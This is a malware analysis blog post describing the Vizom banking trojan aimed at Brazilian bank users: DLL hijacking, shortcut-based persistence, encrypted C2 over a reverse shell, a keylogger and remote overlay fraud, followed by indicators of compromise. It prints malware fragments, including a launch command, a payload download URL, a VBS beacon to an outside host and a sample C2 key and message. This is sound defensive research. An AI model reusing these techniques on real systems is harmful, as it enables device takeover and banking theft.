IBM Security Trusteer researchers have discovered a new malware code and active campaign targeting online banking users in Brazil. The malware, coined “Vizom” by the team, uses familiar remote overlay attack tactics to take over user devices in real time, as the intended victim logs in, and then initiates fraudulent transactions from their bank account.
What we found interesting about Vizom, is the way it infects and deploys on user devices. It uses ‘DLL hijacking’ to sneak into legitimate directories on Windows-based machines, masked as a legitimate, popular video conferencing software, and tricks the operating system’s inherent logic to load its malicious Dynamic Link Libraries (DLLs) before it loads the legitimate ones that belong in that address space. It uses similar tactics to operate the attack.
In this blog post we will provide further information about Vizom, going over the technical details of its components and how it achieves the attacker’s objectives to steal money from online banking users. It’s important to keep in mind that while Vizom currently operates in Brazil, it can be adapted to target any other country in LATAM and in other parts of the world.
Recent Trends in Banking Malware
The COVID-19 pandemic has changed the world in many ways and has especially affected the ways we work. Since so many people have shifted to working from home, and almost everyone is using videoconferencing software to replace in-person meetings with both friends and colleagues, Vizom uses the binaries of a popular videoconferencing software to pave its way into new devices.
To operate the attack, Vizom uses the files of yet another legitimate software, this time the Internet browser Vivaldi, which helps to disguise the malware’s activity and avoid detection from operating system controls and anti-virus software.
Vizom’s Creative Way In
A bird’s eye view of how Vizom operates shows the main components of the attack:
Figure 1: Vizom’s infection flow and fraud method
Vizom’s DLL Hijacking
Typically delivered by spam, once Vizom is downloaded by an unwitting user, it finds its way into the AppData directory and launches the infection process. The following file list shows what Vizom’s dropper unpacks after it initially reaches a new device. These files come packed into a .zip archive, which is deleted after the files are extracted to the %temp% folder on the target system.
| File Path | Purpose |
| C:\Users\<USERNAME>\AppData\Local\Temp\zCrashReport.dll | “Crash Handling Module” |
| C:\Users\<USERNAME>\AppData\Local\Temp\zTscoder.exe | Legitimate videoconferencing software’s video recording converter |
| C:\Users\<USERNAME>\AppData\Local\Temp\86970492.vbs | Malware script to obtain statistics on infections |
| C:\Users\<USERNAME>\AppData\Local\Temp\a2start.old | Encrypted malware string dictionary |
| C:\Users\<USERNAME>\AppData\Local\Temp\Cmmlib.dll | Malicious DLL (downloads second payload) |
| C:\Users\<USERNAME>\AppData\Local\Temp\DuiLib.dll | Videoconferencing software DLL |
| C:\Users\<USERNAME>\AppData\Local\Temp\libeay32.dll | “OpenSSL Shared Library” |
| C:\Users\<USERNAME>\AppData\Local\Temp\reslib.dll | Videoconferencing software DLL |
| C:\Users\<USERNAME>\AppData\Local\Temp\ssleay32.dll | “OpenSSL Shared Library” |
The above file list contains a mix of legitimate files and the malware’s own resources. What Vizom aims to do is have the main, and legitimate binary, load its malicious DLLs. It does that by naming its own Delphi-based DLLs with DLL names the legitimate software expects to find in its directory. By doing that, Vizom tricks the operating system into running malware as the child process of a benign, videoconferencing file.
How can that take place? By relying on known Windows mechanisms.
How Vizom Piggybacks on Windows
The Windows operating system (OS) works in certain ways when it comes to loading files from its various directories. When an application or service is called to start running, the OS looks for applicable DLLs in a given order. Many times, DLLs are called without a fully qualified file path, which makes Windows search for the correct location. It does that by looking in a few places in the following order:
- It searches the directory from which that application was called and/or loaded.
- It searches in C:\Windows\System32.
- Searches in C:\Windows\System.
- Goes up and searches in C:\Windows.
- Searches the current working directory.
- Searches directories in the entire system’s PATH environment variable.
- Finally, it searches directories in that user’s PATH environment variable.
In our case, Vizom’s malicious DLL was saved in the same directory of the executable that loaded it and Windows allowed it to load via the main executable. In this case, the malicious DLL’s name was taken from a popular videoconferencing software: “Cmmlib.dll.”
To make sure that the malicious code is executed from “Cmmlib.dll,” the malware’s author copied the real export list of that legitimate DLL but made sure to modify it and have all the functions direct to the same address – the malicious code’s address space.
Figure 2: Cmmlib.dll export list showing the same address for all functions
Vizom Misuses Binaries to Gain a Foothold
The next step for the dropper is to execute another legitimate binary, this time it’s “zTscoder.exe” via the command line prompt. This file will load the malicious DLL charged with downloading the second payload.
| “C:\Windows\SysWOW64\cmd.exe” /k cd “C:\Users\<USERNAME>\AppData\Local\Temp\” && zTscoder.exe && exit |
At this point, Vizom downloads the second payload, another .zip archive, from a remote server that happens to be hosted on a public cloud bucket. These addresses can change every campaign.
| hxxps://galinhaborabora[.]s3[.]amazonaws.com/felicidadeviver[.]zip |
This archive contains a legitimate browser application called Vivaldi; a browser program based on Chromium. Once again here, after extracting all files from the archive, Vizom then deletes it.
| %USERPROFILE%\AppData\Local\Vivaldi |
Vivaldi is dropped to the target system alongside the malware’s malicious DLLs and will be used as part of operating the attack. The first step is loading Vizom’s DLL from the main Vivaldi folder:
| C:\Users\User\AppData\Local\Vivaldi\vivaldi_elf.dll |
Figure 3: vivaldi_elf.dll is loaded to the “Vivaldi” process
Vizom’s Persistence Mechanism
To create a persistence mechanism that will allow it to keep being loaded by an unwitting user, Vizom modifies browser shortcuts so that they will all lead to its own executables and keep it running in the background no matter what browser the user attempted to run.
| Application opened | Vivaldi File Name |
| Mozilla Firefox | vivaldi_2.6.1566.40.exe |
| Google Chrome | vivaldi_2.6.1566.41.exe |
| Internet Explorer | vivaldi_2.6.1566.42.exe |
| Opera | vivaldi_2.6.1566.43.exe |
| Bank-specific secure browser (1) | vivaldi_2.6.1566.44.exe |
| Bank-specific secure browser (2) | vivaldi_2.6.1566.45.exe |
| Microsoft Edge | vivaldi_2.6.1566.46.exe |
In the following image we show an example of a modified .LNK shortcut file that sets Vivaldi’s poisoned file to open instead of Google Chrome.
Figure 4: Chrome Link file used by Vizom for persistence
This does not mean that the victim will not see the intended browser open. The corresponding browser program will be launched by the malicious Vivaldi process as a child process and the user will not have reason to suspect that something is amiss.
Figure 5: Vivaldi launches Chrome as a child process
In the background, Vizom, disguised as a Vivaldi process, continues to run, monitoring the user’s browsing and waiting for them to access their bank account. If the window title’s name matches Vizom’s target list, it will go into action and alert the fraudster to connect remotely to that victim’s device.
Dropping the Banking Malware Payload
Vizom is based on four major components that allow it to operate the fraud cycle after it is installed. Those components are:
- Browser monitoring
- Communication with the attackers’ (C2) server in real-time
- Remote access Trojan
- Malicious overlay screens module
To get some statistics on the botnet’s size, Vizom runs the following script:
| Dim o
Set o = CreateObject(“MSXML2.XMLHTTP”) o.open “GET”, “http://sstatic1.histats.com/0.gif?4390758&101”, False o.send |
Vizom Starts Watching the Browser
After it begins fully running on an infected device, Vizom, like other overlay malware, monitors the user’s online browsing, waiting for a match for its target list. Since Vizom does not hook the browser like other, more sophisticated malware typically does, it monitors activity by comparing the window title the user is accessing to key target strings the attacker is interested in. This comparison happens continually in a loop.
In the image below, Vizom uses the function TwBuilding_obtainLines to decrypt the bank names it targets. The decrypted string is compared to the active browser window title the user is viewing.
Figure 6: Vizom window tab monitoring and string comparison
The windows title acquisition is enabled by using the function GetWindowText:
Figure 7: Vizom’s window title acquisition function
Upon finding a bank name match, Vizom moves to the next stage and informs the attacker that an infected device is accessing a targeted bank’s website.
Banking Malware Communicates With Attacker’s C2 Server
To alert the attacker to an opening banking session, Vizom uses a TCP socket and connects to the attacker’s server. The communication with the C2 server is a reverse shell where the infected machine communicates back to the attacking server where a listener port receives the connection.
In Vizom’s case, the connection is based on Delphi’s TClientSocket object. This object gets the obvious address and port in order to connect. In addition to do that, the object also receives three functions that handle different aspects of the connection:
- Connect is used for the first message, which is “openconn.”
- Error is for error handling, and it’s the standard “terminate socket” function.
- Read is the command list function — it processes every command received from the C2 server and executes the desired action.
Figure 8: Socket creation function initiated
Vizom’s communication with the C2 server is encrypted with AES256 using Delphi’s TCryptographicLibrary. In this library the decryption flow is different from regular AES decryption:
- The encrypted data is also Base64 encoded, so first we need to decode it to get the AES encrypted buffer.
- The Delphi TCryptographicLibrary doesn’t have key restrictions like a normal AES encryption (32 bytes for AES256 for example) because it generates a key per a given string.
- The key generation process is as follows:
- Vizom uses a SHA-1 hash on the given string it wants to encrypt
- It adjusts the length of the key to match the AES key restriction. In Vizom’s case we’d need a 32-byte key because it uses AES256 encryption. To adjust the length, the key generation function shown below cuts the hash to the requested length when it’s longer than the required length, and if it’s short, it appends bytes to the beginning of the hash until the required length is achieved.
The decryption takes place per the normal AES process, using the buffer and generated key. The Python code snippet shown below demonstrates that:
Figure 9: Python decryption code using Python’s secure message HashLib module and Crypto.Cipher
Each message sent between the banking malware on the infected device and the attacker’s C2 server contains the encrypted data and the key set apart by a semi-colon (;). The malware holds a hardcoded key — TjH^/nu%+.SiOfKR”Bo. One example is shown below:
| C2 server sends message |
| IYtuBnJ8ZUXYVD2UmPxhHg==;TjH^/nu%+.SiOfKR”Bo |
| Malware actions |
| The malware will use TjH^/nu%+.SiOfKR”Bo as the key, then apply SHA-1 to the key and normalize the key length. Since SHA-1 produces a 20-byte hash value, 12 first bytes will be added for the key to make it 32 byte long. |
| Next step |
| The encrypted text IYtuBnJ8ZUXYVD2UmPxhHg== would be decoded by Base64 and then further decrypted using AES256 with the key generated. |
| Result |
| In the example we provided here, the malware would receive the “framewinc” command which instructs it to deploy overlay screens. |
How Vizom Uses Remote Access and Control (RAT)
The central component of any remote overlay malware is the ability it lends its operator to take control of the infected device without the user’s consent. After gaining access remotely, the attacker can use overlay screen to manipulate the user, keep them unable to control the online session they initiated, and trick them into providing additional details that can help the attacker complete fraudulent transactions from their bank account.
Vizom’s remote control capabilities rely on Windows API functions. For example, the Vizom command “movesys” moves the mouse cursor and emulates clicks by using the SetCursorPos and Windows’ mouse_event APIs.
Figure 10: Mouse movement and clicks in Vizom
To add keyboard control, Vizom uses the “inputkb” command and launches keyboard keystrokes using the keybd_event API.
Figure 11: Keyboard keystrokes via keybd_event API
Banking Malware Grabs Screenshots From an Infected Device
For capturing screenshots from the infected device, Vizom uses two different tactics:
- The default option is the PrintWindow API function which is the common way to take screenshots on Windows machines.
- The second option used here is the “settypebit” command which initializes the Windows magnification library. This library is normally used for magnifying portions of the screen and it is manipulated by Vizom as a screen capturing tool, most likely to bypass some security controls that can block suspicious screen capture through standard API functions. To return to the default method, the attacker would use the “settypefull” command. Both functions change a Boolean global variable which is checked every time the screenshot function is called.
Figure 12: The settypefull command – changes the global Var
Overlay Screen Module Gives Banking Malware Control
The last component, the overlay screen module uses a mechanism that’s somewhat different from what is commonly used by similar malware codes.
To plaster full screen overlays on the infected user’s desktop, Vizom generates an HTML file from encrypted strings, then opens it with the “Vivaldi” browser in application mode. This mode allows the application to be executed on a single web page without the typical browser’s user interface, preventing the infected victim from taking on-screen actions. This is probably one of the reasons the attacker picked this specific browser’s files.
Figure 13: Overlay HTML file
The images Vizom uses are retrieved from a public cloud storage bucket from an account that is either compromised or set up for temporary use by the attackers.
Vizom Activates a Keylogger
To grab passwords and information from the infected device, Vizom also features a keylogging module called “activeanalitycs” – yes, there is a typo in the module name. This function uses GetAsyncKeyState function to get keyboard data and send the information to the attacker’s C2 server. This takes place repeatedly in 10 second intervals.
The keylogging operation is being handled by 2 Delphi Timers. Delphi Timers gives the programmer the ability to use sequential functions that will occur on a set time cycles. For instance, the Windows title scanning mentioned earlier is not in a “While True” loop – it is being operated by a Delphi timer.
How Vizom Watches Keystrokes
The first timer, called “TwBuilding_L5pingT”, is the logger’s timer. It is executed every millisecond and uses the GetAsyncKeyState Windows function to find which key is being hit. The results are logged to a global variable string – every keystroke being added to the string.
Figure 14: Snippet from logger timer – adding the key pressed to the global variable
The second timer is called “TwBuilding_L4pingT” and is the data send timer. Every 10 seconds, the timer function executes, reads the global variable string, encrypts it and sends it to the C2 server. After that the global variable string clears and is ready for the next message.
Figure 15: Sending Timer snippet – the explained steps are highlighted
Vizom Joins Cybercrime Action in LATAM
The Remote Overlay malware class has gained tremendous momentum in the Latin American cybercrime arena through the past decade making it the top offender in the region. These malicious programs are spread widely to large numbers of users through malspam and phishing campaigns. Once a potential victim is tricked into downloading the camouflaged malware dropper, and executes it, the malware starts the deployment process all while attempting to stay under the radar and not be blocked by security software and operating system controls. This is not to say that this type of malware is very sophisticated, what it can be, is quite creative.
Vizom hides inside legitimate executable, ensuring that the operating system would run its malicious DLLs without questioning them.
At this time, Vizom focuses on large Brazilian banks, however, the same tactics are known to be used against users across South America and has already been observed targeting banks in Europe as well.
Vizom Indicators Of Compromise
Hashes
808ed13b13d31e116244e1db46082015 (Dropper EXE)
a555654f89aaf0d90a36c17e16014300 (Malicious DLL#1 – videoconferencing software)
1cd5806c5d6f9302d245ac0e5b453076 (Malicious DLL#2 – Vivaldi browser file)
C2 Server
18.234.42.30
Want to learn more about protection from new malware in 2020 like Vizom? Browse the IBM Trusteer page on fraud protection.
The post New Vizom Malware Discovered Targets Brazilian Bank Customers with Remote Overlay Attacks appeared first on Security Intelligence.
